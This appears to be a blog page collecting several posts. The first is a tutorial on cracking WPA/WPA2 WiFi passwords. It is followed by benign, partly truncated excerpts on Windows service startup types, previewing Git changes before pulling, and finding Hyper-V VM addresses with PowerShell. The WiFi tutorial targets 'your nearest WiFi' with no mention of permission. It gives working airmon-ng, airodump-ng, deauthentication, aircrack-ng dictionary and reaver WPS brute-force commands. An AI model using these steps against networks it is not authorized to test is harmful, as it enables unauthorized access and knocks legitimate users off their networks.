How To Hack WAP or WPA2 WiFi Security Fully Explained

As Compared to WEP WiFi Hacking as explained on our previous tutorial, WPA/WPA2 is quite difficult and time consuming because of its Security. Cracking the password sometimes depends on your luck and success is not guaranteed.

..:: How to launch a Dictionary Attack on WPA Handshake ::..

You might get lucky and your nearest WiFi password may be based on a common dictionary word or number sequence. In such a case, you may succeed with a dictionary attack.

Step 1: Enable monitor mode on wireless interface

#airmon-ng start wlan0

This will start the monitor mode.

Step 2: Take note of the nearest WiFi networks.

#airodump-ng mon0

Step 3: Take note of the channel of your target network, dump packets from that channel and save them to a local capture file.

#airodump-ng -c6 mon0 -w capture_file

Step 4: Wait for WPA handshake capture

At this point, you can use 'aireplay-ng' to de-authenticate an associated legitimate client from the network. The point is that as he/she will authenticate again shortly, we will capture the handshake without having to wait too long:

#aireplay-ng --deauth 0 -a <AP_MAC> -c <CLIENT_MAC> mon0

If you don't know the MAC of any associated client, simply 'broadcast' a 'deauth' to all clients:

#aireplay-ng --deauth 0 -a <AP_MAC> mon0



Step 5: After you grab a WPA handshake comes the hard part of brute forcing using a dictionary. Use 'aircrack-ng' for this:

#aircrack-ng capture_file-01.cap -w listfile.lst



Now say your prayers and hope the passphrase is present in the dictionary you choose.




You can also use online distributed WPA/WPA2 handshake cracking tool on this website:

Note that if the Access Point has WPS Enabled, it becomes easier to recover the WPA / WPA2 passphrase as there are only 11,000 possible combinations needed to brute force the WPS PIN due to an implementation flaw.

Another tool called 'Reaver' can be used for WPA cracking, if WPS is enabled.

Here's the sample use of reaver:

#reaver -i mon1 -a 94:D7:23:48:BE:78 -vv -c8

-i is for interface
-a "94.... " is the bssid of hotspot
-vv for verbose mode
-c to specify the channel

Windows Services Startup Type Explained

Hi Geeks, Today I was working on a Service related script so thought of sharing some useful information related to Services Startup Type which most of the people knows but doesn’t know about the functionality. So lets begin. What are Windows Services and what they do ? Windows Services are the components or applications that starts when your computer is booted up and runs in the background mode helping the application to work smoothly and finally stops when the computer shuts down. For Example, If you want to send or receive any Fax, then the Fax service should be running in the background to perform the Fax activity. How many Service Startup Types are there and what they do ? There are 4 Service Startup Types available : 1. Automatic Explanation : Automatic Service Startup Type starts the service automatically when the system boot up is done. So if we are having a machine of less memory and there are lots of services in Automatic Startup type then your mac

How to see remote changes before doing Git Pull

Before going through the steps, lets first understand what is the purpose of GIT Pull ? In simple terms, GIT PULL is a GIT Command which access the Remote repository and checks which all files were modified or created and is different from the local repository. Once it finds that info, it downloads those file to your local repository.  Technically speaking, GIT Pull runs 2 commands i.e GIT Fetch and GIT Merge in background. GIT Fetch downloads the latest change to the local repository while GIT Merge merges the remote content refs and heads to new local merge commit. so you can say the below is same : GIT Pull <remote> -or- GIT Fetch <remote> GIT Merge origin/master So lets begin with the steps on how to see the remote (origin/master) changes before doing Git Pull :  Git fetch origin Git log master..origin/master Git diff master..origin/master Git pull / Git merge origin/master Happy Leaning! How to get started with GIT in Windows : Check out here

Powershell Tip : How to find the IP Address of a VM from a HyperV

Today we are going to see how to fetch the IPv4 Address details of a VM from a HyperVisor console. We will be using Powershell to achieve the same with a One-Liner code.  You can modify the Command as per your need. Our requirement is to check Only the Running VM's and  get the VM Name and its corresponding IPv4 Address. So lets get started. CODE (Execute in HyperV ): Get-VM | ? State -eq "Running" | select Name, @{l="IPv4Address";e={($_.NetworkAdapters.IPAddresses -match "(?<Address >((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))")} } CODE DETAILS : 1. Get-VM : Fetches the VM List present on the HyperVisor 2. ? State -EQ "Running" : It is similar to Where-Object {$_.State -eq "Running"} , here we are using where-object to fetch only the Running VM list from the Pipeline. 3. NetworkAdapters properties of the VM Contains the IPAddresses information, we are using IPv4 address Regex to get
